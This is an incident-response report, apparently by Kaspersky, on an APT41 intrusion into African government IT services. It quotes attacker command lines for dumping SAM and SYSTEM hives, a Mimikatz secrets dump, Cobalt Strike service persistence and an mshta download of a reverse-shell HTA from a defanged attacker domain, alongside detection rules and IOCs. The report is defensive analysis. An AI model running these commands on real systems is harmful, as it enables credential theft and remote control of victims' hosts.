Introduction
Some time ago, Kaspersky MDR analysts detected a targeted attack against government IT services in the African region. The attackers used hardcoded names of internal services, IP addresses, and proxy servers embedded within their malware. One of the C2s was a captive SharePoint server within the victim’s infrastructure.
During our incident analysis, we were able to determine that the threat actor behind the activity was APT41. This is a Chinese-speaking cyberespionage group known for targeting organizations across multiple sectors, including telecom and energy providers, educational institutions, healthcare organizations and IT energy companies in at least 42 countries. It’s worth noting that, prior to the incident, Africa had experienced the least activity from this APT.
Detection
Our MDR team identified suspicious activity on several workstations within an organization’s infrastructure. These were typical alerts indicating the use of the WmiExec module from the Impacket toolkit. Specifically, the alerts showed the following signs of the activity:
A process chain of svchost.exe ➔exe ➔ cmd.exe
The output of executed commands being written to a file on an administrative network share, with the file name consisting of numbers separated by dots:
WmiExec process tree
The attackers also leveraged the Atexec module from the Impacket toolkit.
Scheduler tasks created by Atexec
The attackers used these commands to check the availability of their C2 server, both directly over the internet and through an internal proxy server within the organization.
The source of the suspicious activity turned out to be an unmonitored host that had been compromised. Impacket was executed on it in the context of a service account. We would later get that host connected to our telemetry to pinpoint the source of the infection.
After the Atexec and WmiExec modules finished running, the attackers temporarily suspended their operations.
Privilege escalation and lateral movement
After a brief lull, the attackers sprang back into action. This time, they were probing for running processes and occupied ports:
cmd.exe /c netstat -ano > C:\Windows\temp\temp_log.log
cmd.exe /c tasklist /v > C:\Windows\temp\temp_log.log
cmd.exe /c netstat -ano > C:\Windows\temp\temp_log.logcmd.exe /c tasklist /v > C:\Windows\temp\temp_log.log
They were likely trying to figure out if the target hosts had any security solutions installed, such as EDR, MDR or XDR agents, host administration tools, and so on.
Additionally, the attackers used the built-in reg.exe utility to dump the SYSTEM and SAM registry hives.
cmd.exe /c reg save HKLM\SAM C:\Windows\temp\temp_3.log
cmd.exe /c reg save HKLM\SYSTEM C:\Windows\temp\temp_4.log
cmd.exe /c reg save HKLM\SAM C:\Windows\temp\temp_3.logcmd.exe /c reg save HKLM\SYSTEM C:\Windows\temp\temp_4.log
On workstations connected to our monitoring systems, our security solution blocked the activity, which resulted in an empty dump file. However, some hosts within the organization were not secured. As a result, the attackers successfully harvested credentials from critical registry hives and leveraged them in their subsequent attacks. This underscores a crucial point: to detect incidents promptly and minimize damage, security solution agents must be installed on all workstations across the organization without exception. Furthermore, the more comprehensive your telemetry data, the more effective your response will be. It’s also crucial to keep a close eye on the permissions assigned to service and user accounts, making sure no one ends up with more access rights than they really need. This is especially true for accounts that exist across multiple hosts in your infrastructure.
In the incident we’re describing here, two domain accounts obtained from a registry dump were leveraged for lateral movement: a domain account with local administrator rights on all workstations, and a backup solution account with domain administrator privileges. The local administrator privileges allowed the attackers to use the SMB protocol to transfer tools for communicating with the C2 to the administrative network share C$. We will discuss these tools – namely Cobalt Strike and a custom agent – in the next section.
In most cases, the attackers placed their malicious tools in the C:\WINDOWS\TASKS\ directory on target hosts, but they used other paths too:
c:\windows\tasks\
c:\programdata\
c:\programdata\usoshared\
c:\users\public\downloads\
c:\users\public\
c:\windows\help\help\
c:\users\public\videos\
c:\windows\tasks\c:\programdata\c:\programdata\usoshared\c:\users\public\downloads\c:\users\public\c:\windows\help\help\c:\users\public\videos\
Files from these directories were then executed remotely using the WMI toolkit:
Lateral movement via privileged accounts
C2 communication
Cobalt Strike
The attackers used Cobalt Strike for C2 communication on compromised hosts. They distributed the tool as an encrypted file, typically with a TXT or INI extension. To decrypt it, they employed a malicious library injected into a legitimate application via DLL sideloading.
Here’s a general overview of how Cobalt Strike was launched:
Attackers placed all the required files – the legitimate application, the malicious DLL, and the payload file – in one of the following directories:
C:\Users\Public\
C:\Users\{redacted}\Downloads\
C:\Windows\Tasks\
C:\Users\Public\C:\Users\{redacted}\Downloads\C:\Windows\Tasks\
The malicious library was a legitimate DLL modified to search for an encrypted Cobalt Strike payload in a specifically named file located in the same directory. Consequently, the names of the payload files varied depending on what was hardcoded into the malicious DLL.
During the attack, the threat actor used the following versions of modified DLLs and their corresponding payloads:
Legitimate file name
DLL
Encrypted Cobalt Strike
TmPfw.exe
TmDbg64.dll
TmPfw.ini
cookie_exporter.exe
msedge.dll
Logs.txt
FixSfp64.exe
log.dll
Logs.txt
360DeskAna64.exe
WTSAPI32.dll
config.ini
KcInst.exe
KcInst32.dll
kcinst.log
MpCmdRunq.exe
mpclient.dll
Logs.txt
Despite using various legitimate applications to launch Cobalt Strike, the payload decryption process was similar across instances. Let’s take a closer look at one example of Cobalt Strike execution, using the legitimate file cookie_exporter.exe, which is part of Microsoft Edge. When launched, this application loads msedge.dll, assuming it’s in the same directory.
The attackers renamed cookie_exporter.exe to Edge.exe and replaced msedge.dll with their own malicious library of the same name.
When any dynamic library is loaded, the DllEntryPoint function is executed first. In the modified DLL, this function included a check for a debugging environment. Additionally, upon its initial execution, the library verified the language packs installed on the host.. The malicious code would not run if it detected any of the following language packs:
Japanese (Japan)
Korean (South Korea)
Chinese (Mainland China)
Chinese (Taiwan)
If the system passes the checks, the application that loaded the malicious library executes an exported DLL function containing the malicious code. Because different applications were used to launch the library in different cases, the exported functions vary depending on what the specific software calls. For example, with msedge.dll, the malicious code was implemented in the ShowMessageWithString function, called by cookie_exporter.exe.
The ShowMessageWithString function retrieves its payload from Logs.txt, a file located in the same directory. These filenames are typically hardcoded in the malicious dynamic link libraries we’ve observed.
The screenshot below shows a disassembled code segment responsible for loading the encrypted file. It clearly reveals the path where the application expects to find the file.
The payload is decrypted by repeatedly executing the following instructions using 128-bit SSE registers:
Once the payload is decrypted, the malicious executable code from msedge.dll launches it by using a standard method: it allocates a virtual memory region within its own process, then copies the code there and executes it by creating a new thread. In other versions of similarly distributed Cobalt Strike agents that we examined, the malicious code could also be launched by creating a new process or upon being injected into the memory of another running process.
Beyond the functionality described above, we also found a code segment within the malicious libraries that appeared to be a message to the analyst. These strings are supposed to be displayed if the DLL finds itself running in a debugger, but in practice this doesn’t occur.
Once Cobalt Strike successfully launches, the implant connects to its C2 server. Threat actors then establish persistence on the compromised host by creating a service with a command similar to this:
C:\Windows\system32\cmd.exe /C sc create «server power» binpath= «cmd /c start C:\Windows\tasks\Edge.exe» && sc description «server power» «description» && sc config «server power» start= auto && net start «server power»
C:\Windows\system32\cmd.exe /C sc create «server power» binpath= «cmd /c start C:\Windows\tasks\Edge.exe» && sc description «server power» «description» && sc config «server power» start= auto && net start «server power»
Attackers often use the following service names for embedding Cobalt Strike:
server power
WindowsUpdats
7-zip Update
server powerWindowsUpdats7-zip Update
Agent
During our investigation, we uncovered a compromised SharePoint server that the attackers were using as the C2. They distributed files named agents.exe and agentx.exe via the SMB protocol to communicate with the server. Each of these files is actually a C# Trojan whose primary function is to execute commands it receives from a web shell named CommandHandler.aspx, which is installed on the SharePoint server. The attackers uploaded multiple versions of these agents to victim hosts. All versions had similar functionality and used a hardcoded URL to retrieve commands:
The agents executed commands from CommandHandler.aspx using the cmd.exe command shell launched with the /c flag.
While analyzing the agents, we didn’t find significant diversity in their core functionality, despite the attackers constantly modifying the files. Most changes were minor, primarily aimed at evading detection. Outdated file versions were removed from the compromised hosts.
The attackers used the deployed agents to conduct reconnaissance and collect sensitive data, such as browser history, text files, configuration files, and documents with .doc, .docx and .xlsx extensions. They exfiltrated the data back to the SharePoint server via the upload.ashx web shell.
It is worth noting that the attackers made some interesting mistakes while implementing the mechanism for communicating with the SharePoint server. Specifically, if the CommandHandler.aspx web shell on the server was unavailable, the agent would attempt to execute the web page’s error message as a command:
Obtaining a command shell: reverse shell via an HTA file
If, after their initial reconnaissance, the attackers deemed an infected host valuable for further operations, they’d try to establish an alternative command-shell access. To do this, they executed the following command to download from an external resource a malicious HTA file containing an embedded JavaScript script and run this file:
«cmd.exe» /c mshta hxxp(:)//github.githubassets(.)net/okaqbfk867hmx2tvqxhc8zyq9fy694gf/hta
«cmd.exe» /c mshta hxxp(:)//github.githubassets(.)net/okaqbfk867hmx2tvqxhc8zyq9fy694gf/hta
The group attempted to mask their malicious activity by using resources that mimicked legitimate ones to download the HTA file. Specifically, the command above reached out to the GitHub-impersonating domain github(.)githubassets(.)net. The attackers primarily used the site to host JavaScript code. These scripts were responsible for delivering either the next stage of their malware or the tools needed to further the attack.
At the time of our investigation, a harmless script was being downloaded from github(.)githubassets(.)net instead of a malicious one. This was likely done to hide the activity and complicate attack analysis.
The harmless script found on github(.)githubassets(.)netHowever, we were able to obtain and analyze previously distributed scripts, specifically the malicious file 2CD15977B72D5D74FADEDFDE2CE8934F. Its primary purpose is to create a reverse shell on the host, giving the attackers a shell for executing their commands.
Once launched, the script gathers initial host information:
It then connects to the C2 server, also located at github(.)githubassets(.)net, and transmits a unique ATTACK_ID along with the initially collected data. The script leverages various connection methods, such as WebSockets, AJAX, and Flash. The choice depends on the capabilities available in the browser or execution environment.
Data collection
Next, the attackers utilized automation tools such as stealers and credential-harvesting utilities to collect sensitive data. We detail these tools below. Data gathered by these utilities was also exfiltrated via the compromised SharePoint server. In addition to the aforementioned web shell, the SMB protocol was used to upload data to the server. The files were transferred to a network share on the SharePoint server.
Pillager
A modified version of the Pillager utility stands out among the tools the attackers deployed on hosts to gather sensitive information. This tool is used to export and decrypt data from the target computer. The original Pillager version is publicly available in a repository, accompanied by a description in Chinese.
The primary types of data collected by this utility include:
Saved credentials from browsers, databases, and administrative utilities like MobaXterm
Project source code
Screenshots
Active chat sessions and data
Email messages
Active SSH and FTP sessions
A list of software installed on the host
Output of the systeminfo and tasklist commands
Credentials stored and used by the operating system, and Wi-Fi network credentials
Account information from chat apps, email clients, and other software
A sample of data collected by Pillager:
The utility is typically an executable (EXE) file. However, the attackers rewrote the stealer’s code and compiled it into a DLL named wmicodegen.dll. This code then runs on the host via DLL sideloading. They chose convert-moftoprovider.exe, an executable from the Microsoft SDK toolkit, as their victim application. It is normally used for generating code from Managed Object Format (MOF) files.
Despite modifying the code, the group didn’t change the stealer’s default output file name and path: C:\Windows\Temp\Pillager.zip.
It’s worth noting that the malicious library they used was based on the legitimate SimpleHD.dll HDR rendering library from the Xbox Development Kit. The source code for this library is available on GitHub. This code was modified so that convert-moftoprovider.exe loaded an exported function, which implemented the Pillager code.
Interestingly, the path to the PDB file, while appearing legitimate, differs by using PS5 instead of XBOX:
Checkout
The second stealer the attackers employed was Checkout. In addition to saved credentials and browser history, it also steals information about downloaded files and credit card data saved in the browser.
When launching the stealer, the attackers pass it a j8 parameter; without it, the stealer won’t run. The malware collects data into CSV files, which it then archives and saves as CheckOutData.zip in a specially created directory named CheckOut.
Data collection and archiving in Checkout
Checkout launch diagram in Kaspersky Threat Intelligence Platform
RawCopy
Beyond standard methods for gathering registry dumps, such as using reg.exe, the attackers leveraged the publicly available utility RawCopy (MD5 hash: 0x15D52149536526CE75302897EAF74694) to copy raw registry files.
RawCopy is a command-line application that copies files from NTFS volumes using a low-level disk reading method.
The following commands were used to collect registry files:
c:\users\public\downloads\RawCopy.exe /FileNamePath:C:\Windows\System32\Config\system /OutputPath:c:\users\public\downloads
c:\users\public\downloads\RawCopy.exe /FileNamePath:C:\Windows\System32\Config\sam /OutputPath:c:\users\public\downloads
c:\users\public\downloads\RawCopy.exe /FileNamePath:C:\Windows\System32\Config\security /OutputPath:c:\users\public\downloads
c:\users\public\downloads\RawCopy.exe /FileNamePath:C:\Windows\System32\Config\system /OutputPath:c:\users\public\downloadsc:\users\public\downloads\RawCopy.exe /FileNamePath:C:\Windows\System32\Config\sam /OutputPath:c:\users\public\downloadsc:\users\public\downloads\RawCopy.exe /FileNamePath:C:\Windows\System32\Config\security /OutputPath:c:\users\public\downloads
Mimikatz
The attackers also used Mimikatz to dump account credentials. Like the Pillager stealer, Mimikatz was rewritten and compiled into a DLL. This DLL was then loaded by the legitimate java.exe file (used for compiling Java code) via DLL sideloading. The following files were involved in launching Mimikatz:
C:\Windows\Temp\123.bat
C:\Windows\Temp\jli.dll
C:\Windows\Temp\java.exe
С:\Windows\Temp\config.ini
C:\Windows\Temp\123.bat C:\Windows\Temp\jli.dll C:\Windows\Temp\java.exe С:\Windows\Temp\config.ini
123.bat is a BAT script containing commands to launch the legitimate java.exe executable, which in turn loads the dynamic link library for DLL sideloading. This DLL then decrypts and executes the Mimikatz configuration file, config.ini, which is distributed from a previously compromised host within the infrastructure.
java.exe privilege::debug token::elevate lsadump::secrets exit
java.exe privilege::debug token::elevate lsadump::secrets exit
Retrospective threat hunting
As already mentioned, the victim organization’s monitoring coverage was initially patchy. Because of this, in the early stages, we only saw the external IP address of the initial source and couldn’t detect what was happening on that host. After some time, the host was finally connected to our monitoring systems, and we found that it was an IIS web server. Furthermore, despite the lost time, it still contained artifacts of the attack.
These included the aforementioned Cobalt Strike implant located in c:\programdata\, along with a scheduler task for establishing persistence on the system. Additionally, a web shell remained on the host, which our solutions detected as HEUR:Backdoor.MSIL.WebShell.gen. This was found in the standard temporary directory for compiled ASP.NET application files:
c:\windows\microsoft.net\framework64\v4.0.30319\temporary asp.net files\root\dedc22b8\49ac6571\app_web_hdmuushc.dll
MD5: 0x70ECD788D47076C710BF19EA90AB000D
c:\windows\microsoft.net\framework64\v4.0.30319\temporary asp.net files\root\dedc22b8\49ac6571\app_web_hdmuushc.dllMD5: 0x70ECD788D47076C710BF19EA90AB000D
These temporary files are automatically generated and contain the ASPX page code:
The web shell was named newfile.aspx. The screenshot above shows its function names. Based on these names, we were able to determine that this instance utilized a Neo-reGeorg web shell tunnel.
This tool is used to proxy traffic from an external network to an internal one via an externally accessible web server. Thus, the launch of the Impacket tools, which we initially believed was originating from a host unidentified at the time (the IIS server), was in fact coming from the external network through this tunnel.
Attribution
We attribute this attack to APT41 with a high degree of confidence, based on the similarities in the TTPs, tooling, and C2 infrastructure with other APT41 campaigns. In particular:
The attackers used a number of tools characteristic of APT41, such as Impacket, WMI, and Cobalt Strike.
The attackers employed DLL sideloading techniques.
During the attack, various files were saved to C:\Windows\Temp.
The C2 domain names identified in this incident (s3-azure.com, *.ns1.s3-azure.com, *.ns2.s3-azure.com) are similar to domain names previously observed in APT41 attacks (us2(.)s3bucket-azure(.)online, status(.)s3cloud-azure(.)com).
Takeaways and lessons learned
The attackers wield a wide array of both custom-built and publicly available tools. Specifically, they use penetration testing tools like Cobalt Strike at various stages of an attack. The attackers are quick to adapt to their target’s infrastructure, updating their malicious tools to account for specific characteristics. They can even leverage internal services for C2 communication and data exfiltration. The files discovered during the investigation indicate that the malicious actor modifies its techniques during an attack to conceal its activities – for example, by rewriting executables and compiling them as DLLs for DLL sideloading.
While this story ended relatively well – we ultimately managed to evict the attackers from the target organization’s systems – it’s impossible to counter such sophisticated attacks without a comprehensive knowledge base and continuous monitoring of the entire infrastructure. For example, in the incident at hand, some assets weren’t connected to monitoring systems, which prevented us from seeing the full picture immediately. It’s also crucial to maintain maximum coverage of your infrastructure with security tools that can automatically block malicious activity in the initial stages. Finally, we strongly advise against granting excessive privileges to accounts, and especially against using such accounts on all hosts across the infrastructure.
Appendix
Rules
Yara
rule neoregeorg_aspx_web_shell
{
meta:
description = «Rule to detect neo-regeorg based ASPX web-shells»
author = «Kaspersky»
copyright = «Kaspersky»
distribution = «DISTRIBUTION IS FORBIDDEN. DO NOT UPLOAD TO ANY MULTISCANNER OR SHARE ON ANY THREAT INTEL PLATFORM»
strings:
$func1 = «FrameworkInitialize» fullword
$func2 = «GetTypeHashCode» fullword
$func3 = «ProcessRequest» fullword
$func4 = «__BuildControlTree»
$func5 = «__Render__control1»
$str1 = «FAIL» nocase wide
$str2 = «Port close» nocase wide
$str3 = «Port filtered» nocase wide
$str4 = «DISCONNECT» nocase wide
$str5 = «FORWARD» nocase wide
condition:
uint16(0) == 0x5A4D and
filesize < 400000 and
3 of ($func*) and
3 of ($str*)
}
123456789101112131415161718192021222324252627
rule neoregeorg_aspx_web_shell{ meta: description = «Rule to detect neo-regeorg based ASPX web-shells» author = «Kaspersky» copyright = «Kaspersky» distribution = «DISTRIBUTION IS FORBIDDEN. DO NOT UPLOAD TO ANY MULTISCANNER OR SHARE ON ANY THREAT INTEL PLATFORM» strings: $func1 = «FrameworkInitialize» fullword $func2 = «GetTypeHashCode» fullword $func3 = «ProcessRequest» fullword $func4 = «__BuildControlTree» $func5 = «__Render__control1» $str1 = «FAIL» nocase wide $str2 = «Port close» nocase wide $str3 = «Port filtered» nocase wide $str4 = «DISCONNECT» nocase wide $str5 = «FORWARD» nocase wide condition: uint16(0) == 0x5A4D and filesize < 400000 and 3 of ($func*) and 3 of ($str*)}
Sigma
title: Service Image Path Start From CMD
id: faf1e809-0067-4c6f-9bef-2471bd6d6278
status: test
description: Detects creation of unusual service executable starting from cmd /c using command line
references:
– tbd
tags:
– attack.persistence
– attack.T1543.003
author: Kaspersky
date: 2025/05/15
logsource:
product: windows
service: security
detection:
selection:
EventID: 4697
ServiceFileName|contains:
– ‘%COMSPEC%’
– ‘cmd’
– ‘cmd.exe’
ServiceFileName|contains|all:
– ‘/c’
– ‘start’
condition: selection
falsepositives:
– Legitimate
level: medium
12345678910111213141516171819202122232425262728
title: Service Image Path Start From CMDid: faf1e809-0067-4c6f-9bef-2471bd6d6278status: testdescription: Detects creation of unusual service executable starting from cmd /c using command linereferences: – tbdtags: – attack.persistence – attack.T1543.003author: Kasperskydate: 2025/05/15 logsource: product: windows service: securitydetection: selection: EventID: 4697 ServiceFileName|contains: – ‘%COMSPEC%’ – ‘cmd’ – ‘cmd.exe’ ServiceFileName|contains|all: – ‘/c’ – ‘start’ condition: selectionfalsepositives: – Legitimatelevel: medium
IOCs
Files
2F9D2D8C4F2C50CC4D2E156B9985E7CA9B4F0F94133650B19474AF6B5709E773A052536E671C513221F788DE2E62316C91D10C25497CADB7249D47AE8EC94766C3ED337E2891736DB6334A5F1D37DC0F9B00B6F93B70F09D8B35FA9A22B3CBA115097A32B515D10AD6D793D2D820F2A8A236DCE873845BA4D3CCD8D5A4E1AEFD740D6EB97329944D82317849F9BBD633C7188C39B5C53ECBD3AEC77A856DDF0C3AF014DB9BE1A04E8B312B55D4479F694708A2AE3A5F008C87E68ED04A081F18125B257520D16D759B112399C3CD1466C149252A0A3B1F5724FD76F704A1E0AF3021C9BCA4EF3AA672461ECADC4718E6F1025FCAD036AAD8BF124DF8C9650BBC100B463EFF8295BA617D3AD6DF5325C62CD15977B72D5D74FADEDFDE2CE8934F9D53A0336ACFB9E4DF11162CCF7383A0
Domains and IPs
47.238.184(.)938.175.195(.)13hxxp://github(.)githubassets(.)net/okaqbfk867hmx2tvqxhc8zyq9fy694gf/htahxxp://chyedweeyaxkavyccenwjvqrsgvyj0o1y.oast(.)fun/aaahxxp://toun(.)callback.red/aaahxxp://asd.xkx3(.)callback.()redhxxp(:)//ap-northeast-1.s3-azure(.)comhxxps(:)//www(.)msn-microsoft(.)org:2053hxxp(:)//www.upload-microsoft(.)coms3-azure.com*.ns1.s3-azure.com*.ns2.s3-azure.comupload-microsoft(.)commsn-microsoft(.)org
MITRE ATT&CK
Tactic
Technique
ID
Initial Access
Valid Accounts: Domain Accounts
T1078.002
Exploit Public-Facing Application
T1190
Execution
Command and Scripting Interpreter: PowerShell
T1059.001
Command and Scripting Interpreter: Windows Command Shell
T1059.003
Scheduled Task/Job: Scheduled Task
T1053.005
Windows Management Instrumentation
T1047
Persistence
Create or Modify System Process: Windows Service
T1543.003
Hijack Execution Flow: DLL Side-Loading
T1574.002
Scheduled Task/Job: Scheduled Task
T1053.005
Valid Accounts: Domain Accounts
T1078.002
Web Shell
T1505.003
IIS Components
T1505.004
Privilege Escalation
Create or Modify System Process: Windows Service
T1543.003
Hijack Execution Flow: DLL Side-Loading
T1574.002
Process Injection
T1055
Scheduled Task/Job: Scheduled Task
T1053.005
Valid Accounts: Domain Accounts
T1078.002
Defense Evasion
Hijack Execution Flow: DLL Side-Loading
T1574.002
Deobfuscate/Decode Files or Information
T1140
Indicator Removal: File Deletion
T1070.004
Masquerading
T1036
Process Injection
T1055
Credential Access
Credentials from Password Stores: Credentials from Web Browsers
T1555.003
OS Credential Dumping: Security Account Manager
T1003.002
Unsecured Credentials
T1552
Discovery
Network Service Discovery
T1046
Process Discovery
T1057
System Information Discovery
T1082
System Network Configuration Discovery
T1016
Lateral movement
Lateral Tool Transfer
T1570
Remote Services: SMB/Windows Admin Shares
T1021.002
Collection
Archive Collected Data: Archive via Utility
T1560.001
Automated Collection
T1119
Data from Local System
T1005
Command and Control
Application Layer Protocol: Web Protocols
T1071.001
Application Layer Protocol: DNS
T1071.004
Ingress Tool Transfer
T1105
Proxy: Internal Proxy
T1090.001
Protocol Tunneling
T1572
Exfiltration
Exfiltration Over Alternative Protocol
T1048
Exfiltration Over Web Service
T1567